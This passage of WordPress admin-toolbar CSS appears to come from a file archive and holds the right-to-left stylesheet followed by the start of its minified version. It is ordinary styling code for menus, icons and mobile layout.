.quicklinks .menupop ul li a strong { font-weight: 600; } #wpadminbar .quicklinks .menupop ul li .ab-item, #wpadminbar .quicklinks .menupop ul li a strong, #wpadminbar .quicklinks .menupop.hover ul li .ab-item, #wpadminbar.nojs .quicklinks .menupop:hover ul li .ab-item, #wpadminbar .shortlink-input { line-height: 2; height: 26px; white-space: nowrap; min-width: 140px; } #wpadminbar .shortlink-input { width: 200px; } #wpadminbar.nojs li:hover > .ab-sub-wrapper, #wpadminbar li.hover > .ab-sub-wrapper { display: block; } #wpadminbar .menupop li:hover > .ab-sub-wrapper, #wpadminbar .menupop li.hover > .ab-sub-wrapper { margin-right: 100%; margin-top: -32px; } #wpadminbar .ab-top-secondary .menupop li:hover > .ab-sub-wrapper, #wpadminbar .ab-top-secondary .menupop li.hover > .ab-sub-wrapper { margin-right: 0; right: inherit; left: 100%; } #wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus, #wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item, #wpadminbar .ab-top-menu > li.hover > .ab-item { background: #2c3338; color: #72aee6; } #wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label, #wpadminbar > #wp-toolbar li.hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label { color: #72aee6; } #wpadminbar > #wp-toolbar > #wp-admin-bar-root-default .ab-icon, #wpadminbar .ab-icon, #wpadminbar .ab-item:before, .wp-admin-bar-arrow { position: relative; float: right; font: normal 20px/1 dashicons; speak: never; padding: 4px 0; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; background-image: none !important; margin-left: 6px; } #wpadminbar .ab-icon:before, #wpadminbar .ab-item:before, #wpadminbar #adminbarsearch:before { color: #a7aaad; color: rgba(240, 246, 252, 0.6); } #wpadminbar .ab-icon:before, #wpadminbar .ab-item:before, #wpadminbar #adminbarsearch:before { position: relative; transition: all .1s ease-in-out; } #wpadminbar .ab-label { display: inline-block; height: 32px; } #wpadminbar .ab-submenu .ab-item { color: #c3c4c7; color: rgba(240, 246, 252, 0.7); } #wpadminbar .quicklinks .menupop ul li a, #wpadminbar .quicklinks .menupop ul li a strong, #wpadminbar .quicklinks .menupop.hover ul li a, #wpadminbar.nojs .quicklinks .menupop:hover ul li a { color: #c3c4c7; color: rgba(240, 246, 252, 0.7); } #wpadminbar .quicklinks .menupop ul li a:hover, #wpadminbar .quicklinks .menupop ul li a:focus, #wpadminbar .quicklinks .menupop ul li a:hover strong, #wpadminbar .quicklinks .menupop ul li a:focus strong, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a, #wpadminbar .quicklinks .menupop.hover ul li a:hover, #wpadminbar .quicklinks .menupop.hover ul li a:focus, #wpadminbar .quicklinks .menupop.hover ul li div[tabindex]:hover, #wpadminbar .quicklinks .menupop.hover ul li div[tabindex]:focus, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus, #wpadminbar li:hover .ab-icon:before, #wpadminbar li:hover .ab-item:before, #wpadminbar li a:focus .ab-icon:before, #wpadminbar li .ab-item:focus:before, #wpadminbar li .ab-item:focus .ab-icon:before, #wpadminbar li.hover .ab-icon:before, #wpadminbar li.hover .ab-item:before, #wpadminbar li:hover #adminbarsearch:before, #wpadminbar li #adminbarsearch.adminbar-focused:before { color: #72aee6; } #wpadminbar.mobile .quicklinks .ab-icon:before, #wpadminbar.mobile .quicklinks .ab-item:before { color: #c3c4c7; } #wpadminbar.mobile .quicklinks .hover .ab-icon:before, #wpadminbar.mobile .quicklinks .hover .ab-item:before { color: #72aee6; } #wpadminbar .menupop .menupop > .ab-item .wp-admin-bar-arrow:before, #wpadminbar .ab-top-secondary .menupop .menupop > .ab-item:before { position: absolute; font: normal 17px/1 dashicons; speak: never; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } #wpadminbar .menupop .menupop > .ab-item { display: block; padding-left: 2em; } #wpadminbar .menupop .menupop > .ab-item .wp-admin-bar-arrow:before { top: 1px; left: 10px; padding: 4px 0; content: "\f141"; color: inherit; } #wpadminbar .ab-top-secondary .menupop .menupop > .ab-item { padding-right: 2em; padding-left: 1em; } #wpadminbar .ab-top-secondary .menupop .menupop > .ab-item .wp-admin-bar-arrow:before { top: 1px; right: 6px; content: "\f139"; } #wpadminbar .quicklinks .menupop ul.ab-sub-secondary { display: block; position: relative; left: auto; margin: 0; box-shadow: none; } #wpadminbar .quicklinks .menupop ul.ab-sub-secondary, #wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu { background: #3c434a; } #wpadminbar .quicklinks .menupop .ab-sub-secondary > li > a:hover, #wpadminbar .quicklinks .menupop .ab-sub-secondary > li .ab-item:focus a { color: #72aee6; } #wpadminbar .quicklinks a span#ab-updates { background: #f0f0f1; color: #2c3338; display: inline; padding: 2px 5px; font-size: 10px; font-weight: 600; border-radius: 10px; } #wpadminbar .quicklinks a:hover span#ab-updates { background: #fff; color: #000; } #wpadminbar .ab-top-secondary { float: left; } #wpadminbar ul li:last-child, #wpadminbar ul li:last-child .ab-item { box-shadow: none; } /** * Recovery Mode */ #wpadminbar #wp-admin-bar-recovery-mode { color: #fff; background-color: #d63638; } #wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover >.ab-item, #wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus { color: #fff; background-color: #d63638; } /** * My Account */ #wp-admin-bar-my-account > ul { min-width: 198px; } #wp-admin-bar-my-account > .ab-item:before { content: "\f110"; top: 2px; float: left; margin-right: 6px; margin-left: 0; } #wp-admin-bar-my-account.with-avatar > .ab-item:before { display: none; content: none; } #wp-admin-bar-my-account.with-avatar > ul { min-width: 270px; } #wpadminbar #wp-admin-bar-user-actions > li { margin-right: 16px; margin-left: 16px; } #wpadminbar #wp-admin-bar-user-actions.ab-submenu { padding: 6px 0 12px; } #wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions > li { margin-right: 88px; } #wpadminbar #wp-admin-bar-user-info { margin-top: 6px; margin-bottom: 15px; height: auto; background: none; } #wp-admin-bar-user-info .avatar { position: absolute; right: -72px; top: 4px; width: 64px; height: 64px; } #wpadminbar #wp-admin-bar-user-info a { background: none; height: auto; } #wpadminbar #wp-admin-bar-user-info span { background: none; padding: 0; height: 18px; } #wpadminbar #wp-admin-bar-user-info .display-name, #wpadminbar #wp-admin-bar-user-info .username { display: block; } #wpadminbar #wp-admin-bar-user-info .username { color: #a7aaad; font-size: 11px; } #wpadminbar #wp-admin-bar-my-account.with-avatar > .ab-empty-item img, #wpadminbar #wp-admin-bar-my-account.with-avatar > a img { width: auto; height: 16px; padding: 0; border: 1px solid #8c8f94; background: #f0f0f1; line-height: 1.84615384; vertical-align: middle; margin: -4px 6px 0 0; float: none; display: inline; } /** * WP Logo */ #wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon { width: 15px; height: 20px; margin-left: 0; padding: 6px 0 5px; } #wpadminbar #wp-admin-bar-wp-logo > .ab-item { padding: 0 7px; } #wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon:before { content: "\f120"; top: 2px; } /* * My Sites & Site Title */ #wpadminbar .quicklinks li .blavatar { display: inline-block; vertical-align: middle; font: normal 16px/1 dashicons !important; speak: never; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; color: #f0f0f1; } #wpadminbar .quicklinks li a:hover .blavatar, #wpadminbar .quicklinks li a:focus .blavatar, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar { color: #72aee6; } #wpadminbar .quicklinks li .blavatar:before { content: "\f120"; height: 16px; width: 16px; display: inline-block; margin: 0 -2px 2px 8px; } #wpadminbar #wp-admin-bar-appearance { margin-top: -12px; } #wpadminbar #wp-admin-bar-my-sites > .ab-item:before, #wpadminbar #wp-admin-bar-site-name > .ab-item:before { content: "\f541"; top: 2px; } #wpadminbar #wp-admin-bar-customize > .ab-item:before { content: "\f540"; top: 2px; } #wpadminbar #wp-admin-bar-edit > .ab-item:before { content: "\f464"; top: 2px; } #wpadminbar #wp-admin-bar-site-name > .ab-item:before { content: "\f226"; } .wp-admin #wpadminbar #wp-admin-bar-site-name > .ab-item:before { content: "\f102"; } /** * Comments */ #wpadminbar #wp-admin-bar-comments .ab-icon { margin-left: 6px; } #wpadminbar #wp-admin-bar-comments .ab-icon:before { content: "\f101"; top: 3px; } #wpadminbar #wp-admin-bar-comments .count-0 { opacity: .5; } /** * New Content */ #wpadminbar #wp-admin-bar-new-content .ab-icon:before { content: "\f132"; top: 4px; } /** * Updates */ #wpadminbar #wp-admin-bar-updates .ab-icon:before { content: "\f463"; top: 2px; } #wpadminbar #wp-admin-bar-updates.spin .ab-icon:before { display: inline-block; animation: rotation 2s infinite linear; } @media (prefers-reduced-motion: reduce) { #wpadminbar #wp-admin-bar-updates.spin .ab-icon:before { animation: none; } } /** * Search */ #wpadminbar #wp-admin-bar-search .ab-item { padding: 0; background: transparent; } #wpadminbar #adminbarsearch { position: relative; height: 32px; padding: 0 2px; z-index: 1; } #wpadminbar #adminbarsearch:before { position: absolute; top: 6px; right: 5px; z-index: 20; font: normal 20px/1 dashicons !important; content: "\f179"; speak: never; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } /* The admin bar search field needs to reset many styles that might be inherited from the active Theme CSS. See ticket #40313. */ #wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input { display: inline-block; float: none; position: relative; z-index: 30; font-size: 13px; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; line-height: 1.84615384; text-indent: 0; height: 24px; width: 24px; max-width: none; padding: 0 24px 0 3px; margin: 0; color: #c3c4c7; background-color: rgba(255, 255, 255, 0); border: none; outline: none; cursor: pointer; box-shadow: none; box-sizing: border-box; transition-duration: 400ms; transition-property: width, background; transition-timing-function: ease; } #wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus { z-index: 10; color: #000; width: 200px; background-color: rgba(255, 255, 255, 0.9); cursor: text; border: 0; } #wpadminbar #adminbarsearch .adminbar-button { display: none; } /** * Customize support classes */ .no-customize-support .hide-if-no-customize, .customize-support .hide-if-customize, .no-customize-support #wpadminbar .hide-if-no-customize, .no-customize-support.wp-core-ui .hide-if-no-customize, .no-customize-support .wp-core-ui .hide-if-no-customize, .customize-support #wpadminbar .hide-if-customize, .customize-support.wp-core-ui .hide-if-customize, .customize-support .wp-core-ui .hide-if-customize { display: none; } /* Skip link */ #wpadminbar .screen-reader-text, #wpadminbar .screen-reader-text span { border: 0; clip: rect(1px, 1px, 1px, 1px); -webkit-clip-path: inset(50%); clip-path: inset(50%); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; word-wrap: normal !important; } #wpadminbar .screen-reader-shortcut { position: absolute; top: -1000em; } #wpadminbar .screen-reader-shortcut:focus { right: 6px; top: 7px; height: auto; width: auto; display: block; font-size: 14px; font-weight: 600; padding: 15px 23px 14px; background: #f0f0f1; color: #2271b1; z-index: 100000; line-height: normal; text-decoration: none; box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6); } @media screen and (max-width: 782px) { /* Toolbar Touchification*/ html #wpadminbar { height: 46px; min-width: 240px; /* match the min-width of the body in wp-admin/css/common.css */ } #wpadminbar * { font-size: 14px; font-weight: 400; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; line-height: 2.28571428; } #wpadminbar .quicklinks > ul > li > a, #wpadminbar .quicklinks .ab-empty-item { padding: 0; height: 46px; line-height: 3.28571428; width: auto; } #wpadminbar .ab-icon { font: 40px/1 dashicons !important; margin: 0; padding: 0; width: 52px; height: 46px; text-align: center; } #wpadminbar .ab-icon:before { text-align: center; } #wpadminbar .ab-submenu { padding: 0; } #wpadminbar #wp-admin-bar-site-name a.ab-item, #wpadminbar #wp-admin-bar-my-sites a.ab-item, #wpadminbar #wp-admin-bar-my-account a.ab-item { text-overflow: clip; } #wpadminbar .quicklinks .menupop ul li .ab-item, #wpadminbar .quicklinks .menupop ul li a strong, #wpadminbar .quicklinks .menupop.hover ul li .ab-item, #wpadminbar.nojs .quicklinks .menupop:hover ul li .ab-item, #wpadminbar .shortlink-input { line-height: 1.6; } #wpadminbar .ab-label { display: none; } #wpadminbar .menupop li:hover > .ab-sub-wrapper, #wpadminbar .menupop li.hover > .ab-sub-wrapper { margin-top: -46px; } #wpadminbar .ab-top-menu .menupop .ab-sub-wrapper .menupop > .ab-item { padding-left: 30px; } #wpadminbar .menupop .menupop > .ab-item:before { top: 10px; left: 6px; } #wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper .ab-item { font-size: 16px; padding: 8px 16px; } #wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper a:empty { display: none; } /* WP logo */ #wpadminbar #wp-admin-bar-wp-logo > .ab-item { padding: 0; } #wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon { padding: 0; width: 52px; height: 46px; text-align: center; vertical-align: top; } #wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon:before { font: 28px/1 dashicons !important; top: -3px; } #wpadminbar .ab-icon, #wpadminbar .ab-item:before { padding: 0; } /* My Sites and "Site Title" menu */ #wpadminbar #wp-admin-bar-my-sites > .ab-item, #wpadminbar #wp-admin-bar-site-name > .ab-item, #wpadminbar #wp-admin-bar-customize > .ab-item, #wpadminbar #wp-admin-bar-edit > .ab-item, #wpadminbar #wp-admin-bar-my-account > .ab-item { text-indent: 100%; white-space: nowrap; overflow: hidden; width: 52px; padding: 0; color: #a7aaad; /* @todo not needed? this text is hidden */ position: relative; } #wpadminbar > #wp-toolbar > #wp-admin-bar-root-default .ab-icon, #wpadminbar .ab-icon, #wpadminbar .ab-item:before { padding: 0; margin-left: 0; } #wpadminbar #wp-admin-bar-edit > .ab-item:before, #wpadminbar #wp-admin-bar-my-sites > .ab-item:before, #wpadminbar #wp-admin-bar-site-name > .ab-item:before, #wpadminbar #wp-admin-bar-customize > .ab-item:before, #wpadminbar #wp-admin-bar-my-account > .ab-item:before { display: block; text-indent: 0; font: normal 32px/1 dashicons; speak: never; top: 7px; width: 52px; text-align: center; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } #wpadminbar #wp-admin-bar-appearance { margin-top: 0; } #wpadminbar .quicklinks li .blavatar:before { display: none; } /* Search */ #wpadminbar #wp-admin-bar-search { display: none; } /* New Content */ #wpadminbar #wp-admin-bar-new-content .ab-icon:before { top: 0; line-height: 1.33333333; height: 46px !important; text-align: center; width: 52px; display: block; } /* Updates */ #wpadminbar #wp-admin-bar-updates { text-align: center; } #wpadminbar #wp-admin-bar-updates .ab-icon:before { top: 3px; } /* Comments */ #wpadminbar #wp-admin-bar-comments .ab-icon { margin: 0; } #wpadminbar #wp-admin-bar-comments .ab-icon:before { display: block; font-size: 34px; height: 46px; line-height: 1.38235294; top: 0; } /* My Account */ #wpadminbar #wp-admin-bar-my-account > a { position: relative; white-space: nowrap; text-indent: 150%; /* More than 100% indention is needed since this element has padding */ width: 28px; padding: 0 10px; overflow: hidden; /* Prevent link text from forcing horizontal scrolling on mobile */ } #wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img { position: absolute; top: 13px; left: 10px; width: 26px; height: 26px; } #wpadminbar #wp-admin-bar-user-actions.ab-submenu { padding: 0; } #wpadminbar #wp-admin-bar-user-actions.ab-submenu img.avatar { display: none; } #wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions > li { margin: 0; } #wpadminbar #wp-admin-bar-user-info .display-name { height: auto; font-size: 16px; line-height: 1.5; color: #f0f0f1; } #wpadminbar #wp-admin-bar-user-info a { padding-top: 4px; } #wpadminbar #wp-admin-bar-user-info .username { line-height: 0.8 !important; margin-bottom: -2px; } /* Show only default top level items */ #wp-toolbar > ul > li { display: none; } #wpadminbar li#wp-admin-bar-menu-toggle, #wpadminbar li#wp-admin-bar-wp-logo, #wpadminbar li#wp-admin-bar-my-sites, #wpadminbar li#wp-admin-bar-updates, #wpadminbar li#wp-admin-bar-site-name, #wpadminbar li#wp-admin-bar-customize, #wpadminbar li#wp-admin-bar-new-content, #wpadminbar li#wp-admin-bar-edit, #wpadminbar li#wp-admin-bar-comments, #wpadminbar li#wp-admin-bar-my-account { display: block; } /* Allow dropdown list items to appear normally */ #wpadminbar li:hover ul li, #wpadminbar li.hover ul li, #wpadminbar li:hover ul li:hover ul li { display: list-item; } /* Override default min-width so dropdown lists aren't stretched to 100% viewport width at responsive sizes. */ #wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper { min-width: -webkit-fit-content; min-width: -moz-fit-content; min-width: fit-content; } #wpadminbar ul#wp-admin-bar-root-default > li { margin-left: 0; } /* Experimental fix for touch toolbar dropdown positioning */ #wpadminbar .ab-top-menu, #wpadminbar .ab-top-secondary, #wpadminbar #wp-admin-bar-wp-logo, #wpadminbar #wp-admin-bar-my-sites, #wpadminbar #wp-admin-bar-site-name, #wpadminbar #wp-admin-bar-updates, #wpadminbar #wp-admin-bar-comments, #wpadminbar #wp-admin-bar-new-content, #wpadminbar #wp-admin-bar-edit, #wpadminbar #wp-admin-bar-my-account { position: static; } #wpadminbar #wp-admin-bar-my-account { float: left; } .network-admin #wpadminbar ul#wp-admin-bar-top-secondary > li#wp-admin-bar-my-account { margin-left: 0; } /* Realign arrows on taller responsive submenus */ #wpadminbar .ab-top-secondary .menupop .menupop > .ab-item:before { top: 10px; right: 0; } } /* Smartphone */ @media screen and (max-width: 600px) { #wpadminbar { position: absolute; } #wp-responsive-overlay { position: fixed; top: 0; right: 0; width: 100%; height: 100%; z-index: 400; } #wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper { width: 100%; right: 0; } #wpadminbar .menupop .menupop > .ab-item:before { display: none; } #wpadminbar #wp-admin-bar-wp-logo.menupop .ab-sub-wrapper { margin-right: 0; } #wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper { margin: 0; width: 100%; top: auto; right: auto; position: relative; } #wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper .ab-item { font-size: 16px; padding: 6px 30px 19px 15px; } #wpadminbar li:hover ul li ul li { display: list-item; } #wpadminbar li#wp-admin-bar-wp-logo, #wpadminbar li#wp-admin-bar-updates { display: none; } /* Make submenus full-width at this size */ #wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper { position: static; box-shadow: none; } } /* Very narrow screens */ @media screen and (max-width: 400px) { #wpadminbar li#wp-admin-bar-comments { display: none; } } css/admin-bar-rtl.min.css000064400000046220151202620300011254 0ustar00/*! This file is auto-generated */ #wpadminbar *{height:auto;width:auto;margin:0;padding:0;position:static;text-shadow:none;text-transform:none;letter-spacing:normal;font-size:13px;font-weight:400;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;line-height:2.46153846;border-radius:0;box-sizing:content-box;transition:none;-webkit-font-smoothing:subpixel-antialiased;-moz-osx-font-smoothing:auto}.rtl #wpadminbar *{font-family:Tahoma,sans-serif}html:lang(he-il) .rtl #wpadminbar *{font-family:Arial,sans-serif}#wpadminbar .ab-empty-item{cursor:default}#wpadminbar .ab-empty-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#f0f0f1}#wpadminbar #wp-admin-bar-my-sites a.ab-item,#wpadminbar #wp-admin-bar-site-name a.ab-item{white-space:nowrap}#wpadminbar ul li:after,#wpadminbar ul li:before{content:normal}#wpadminbar a,#wpadminbar a img,#wpadminbar a img:hover,#wpadminbar a:hover{border:none;text-decoration:none;background:0 0}#wpadminbar a:active,#wpadminbar a:focus,#wpadminbar div,#wpadminbar input[type=email],#wpadminbar input[type=number],#wpadminbar input[type=password],#wpadminbar input[type=search],#wpadminbar input[type=text],#wpadminbar input[type=url],#wpadminbar select,#wpadminbar textarea{box-shadow:none}#wpadminbar a:focus{outline-offset:-1px}#wpadminbar{direction:rtl;color:#c3c4c7;font-size:13px;font-weight:400;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;line-height:2.46153846;height:32px;position:fixed;top:0;right:0;width:100%;min-width:600px;z-index:99999;background:#1d2327}#wpadminbar .ab-sub-wrapper,#wpadminbar ul,#wpadminbar ul li{background:0 0;clear:none;list-style:none;margin:0;padding:0;position:relative;text-indent:0;z-index:99999}#wpadminbar ul#wp-admin-bar-root-default>li{margin-left:0}#wpadminbar .quicklinks ul{text-align:right}#wpadminbar li{float:right}#wpadminbar .ab-empty-item{outline:0}#wpadminbar .quicklinks .ab-top-secondary>li{float:left}#wpadminbar .quicklinks .ab-empty-item,#wpadminbar .quicklinks a,#wpadminbar .shortlink-input{height:32px;display:block;padding:0 10px;margin:0}#wpadminbar .quicklinks>ul>li>a{padding:0 7px 0 8px}#wpadminbar .menupop .ab-sub-wrapper,#wpadminbar .shortlink-input{margin:0;padding:0;box-shadow:0 3px 5px rgba(0,0,0,.2);background:#2c3338;display:none;position:absolute;float:none}#wpadminbar .ab-top-menu>.menupop>.ab-sub-wrapper{min-width:100%}#wpadminbar .ab-top-secondary .menupop .ab-sub-wrapper{left:0;right:auto}#wpadminbar .ab-submenu{padding:6px 0}#wpadminbar .selected .shortlink-input{display:block}#wpadminbar .quicklinks .menupop ul li{float:none}#wpadminbar .quicklinks .menupop ul li a strong{font-weight:600}#wpadminbar .quicklinks .menupop ul li .ab-item,#wpadminbar .quicklinks .menupop ul li a strong,#wpadminbar .quicklinks .menupop.hover ul li .ab-item,#wpadminbar .shortlink-input,#wpadminbar.nojs .quicklinks .menupop:hover ul li .ab-item{line-height:2;height:26px;white-space:nowrap;min-width:140px}#wpadminbar .shortlink-input{width:200px}#wpadminbar li.hover>.ab-sub-wrapper,#wpadminbar.nojs li:hover>.ab-sub-wrapper{display:block}#wpadminbar .menupop li.hover>.ab-sub-wrapper,#wpadminbar .menupop li:hover>.ab-sub-wrapper{margin-right:100%;margin-top:-32px}#wpadminbar .ab-top-secondary .menupop li.hover>.ab-sub-wrapper,#wpadminbar .ab-top-secondary .menupop li:hover>.ab-sub-wrapper{margin-right:0;right:inherit;left:100%}#wpadminbar .ab-top-menu>li.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{background:#2c3338;color:#72aee6}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label,#wpadminbar>#wp-toolbar li.hover span.ab-label{color:#72aee6}#wpadminbar .ab-icon,#wpadminbar .ab-item:before,#wpadminbar>#wp-toolbar>#wp-admin-bar-root-default .ab-icon,.wp-admin-bar-arrow{position:relative;float:right;font:normal 20px/1 dashicons;speak:never;padding:4px 0;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;background-image:none!important;margin-left:6px}#wpadminbar #adminbarsearch:before,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:before{color:#a7aaad;color:rgba(240,246,252,.6)}#wpadminbar #adminbarsearch:before,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:before{position:relative;transition:all .1s ease-in-out}#wpadminbar .ab-label{display:inline-block;height:32px}#wpadminbar .ab-submenu .ab-item{color:#c3c4c7;color:rgba(240,246,252,.7)}#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop ul li a strong,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:#c3c4c7;color:rgba(240,246,252,.7)}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar .quicklinks .menupop.hover ul li div[tabindex]:focus,#wpadminbar .quicklinks .menupop.hover ul li div[tabindex]:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#72aee6}#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#c3c4c7}#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#72aee6}#wpadminbar .ab-top-secondary .menupop .menupop>.ab-item:before,#wpadminbar .menupop .menupop>.ab-item .wp-admin-bar-arrow:before{position:absolute;font:normal 17px/1 dashicons;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#wpadminbar .menupop .menupop>.ab-item{display:block;padding-left:2em}#wpadminbar .menupop .menupop>.ab-item .wp-admin-bar-arrow:before{top:1px;left:10px;padding:4px 0;content:"\f141";color:inherit}#wpadminbar .ab-top-secondary .menupop .menupop>.ab-item{padding-right:2em;padding-left:1em}#wpadminbar .ab-top-secondary .menupop .menupop>.ab-item .wp-admin-bar-arrow:before{top:1px;right:6px;content:"\f139"}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary{display:block;position:relative;left:auto;margin:0;box-shadow:none}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:#3c434a}#wpadminbar .quicklinks .menupop .ab-sub-secondary>li .ab-item:focus a,#wpadminbar .quicklinks .menupop .ab-sub-secondary>li>a:hover{color:#72aee6}#wpadminbar .quicklinks a span#ab-updates{background:#f0f0f1;color:#2c3338;display:inline;padding:2px 5px;font-size:10px;font-weight:600;border-radius:10px}#wpadminbar .quicklinks a:hover span#ab-updates{background:#fff;color:#000}#wpadminbar .ab-top-secondary{float:left}#wpadminbar ul li:last-child,#wpadminbar ul li:last-child .ab-item{box-shadow:none}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#d63638}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:#d63638}#wp-admin-bar-my-account>ul{min-width:198px}#wp-admin-bar-my-account>.ab-item:before{content:"\f110";top:2px;float:left;margin-right:6px;margin-left:0}#wp-admin-bar-my-account.with-avatar>.ab-item:before{display:none;content:none}#wp-admin-bar-my-account.with-avatar>ul{min-width:270px}#wpadminbar #wp-admin-bar-user-actions>li{margin-right:16px;margin-left:16px}#wpadminbar #wp-admin-bar-user-actions.ab-submenu{padding:6px 0 12px}#wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions>li{margin-right:88px}#wpadminbar #wp-admin-bar-user-info{margin-top:6px;margin-bottom:15px;height:auto;background:0 0}#wp-admin-bar-user-info .avatar{position:absolute;right:-72px;top:4px;width:64px;height:64px}#wpadminbar #wp-admin-bar-user-info a{background:0 0;height:auto}#wpadminbar #wp-admin-bar-user-info span{background:0 0;padding:0;height:18px}#wpadminbar #wp-admin-bar-user-info .display-name,#wpadminbar #wp-admin-bar-user-info .username{display:block}#wpadminbar #wp-admin-bar-user-info .username{color:#a7aaad;font-size:11px}#wpadminbar #wp-admin-bar-my-account.with-avatar>.ab-empty-item img,#wpadminbar #wp-admin-bar-my-account.with-avatar>a img{width:auto;height:16px;padding:0;border:1px solid #8c8f94;background:#f0f0f1;line-height:1.84615384;vertical-align:middle;margin:-4px 6px 0 0;float:none;display:inline}#wpadminbar #wp-admin-bar-wp-logo>.ab-item .ab-icon{width:15px;height:20px;margin-left:0;padding:6px 0 5px}#wpadminbar #wp-admin-bar-wp-logo>.ab-item{padding:0 7px}#wpadminbar #wp-admin-bar-wp-logo>.ab-item .ab-icon:before{content:"\f120";top:2px}#wpadminbar .quicklinks li .blavatar{display:inline-block;vertical-align:middle;font:normal 16px/1 dashicons!important;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;color:#f0f0f1}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar{color:#72aee6}#wpadminbar 